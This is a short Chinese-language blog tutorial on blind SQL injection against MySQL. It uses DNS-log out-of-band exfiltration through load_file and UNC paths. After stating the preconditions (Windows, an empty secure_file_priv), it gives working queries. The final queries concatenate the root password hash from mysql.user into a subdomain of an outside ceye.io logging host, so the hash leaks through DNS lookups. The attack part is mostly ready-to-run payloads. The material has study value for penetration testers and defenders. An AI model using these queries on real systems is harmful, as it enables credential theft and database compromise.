利用DNS日誌進行MySQL盲注

斑林鴿的程式碼世界發表於2021-01-06

0x01 技術原理


這裡是利用load_file這個函式利用smb請求方式請求域名機器下的一個檔案,由於計算機對該域名不熟悉所以需要優先請求DNS,所以我們通過DNS日誌記錄中的內容來獲取回顯。解決了盲注回顯的問題,或者是時間注入判斷的問題。
熟悉MySQL的人都知道,這個利用有幾個要求或者說是限制條件

# 條件1
+  1、由於基於SMB請求,需要在Windows環境下
# 條件2
+  2、需要MySQL的配置支援,主要是這個配置需要為空
secure_file_priv

0x02 測試


0x02 - 01 簡單的load許可權檢視


show global variables like '%secure%';


這裡滿足要求,如果不滿足,可以在my.ini或者my.cnf等mysql服務的配置檔案中修改[mysqld]項,需要加上如下這行:

secure_file_priv = 

0x02 - 02 load一個域名下的檔案試試看


select load_file('\\\\root.xxxxxx.ceye.io\\abc');

0x03 - 03 使用拼接函式,對我們想要獲取的資料進行拼接


select concat("\\\\",SUBSTR((select password from mysql.user where user='root' limit 1),2),'.xxxxxx.ceye.io\\1234')

0x02 - 04


select load_file(concat("\\\\",SUBSTR((select password from mysql.user where user='root' limit 1),2),'.xxxxxx.ceye.io\\1234'));

相關文章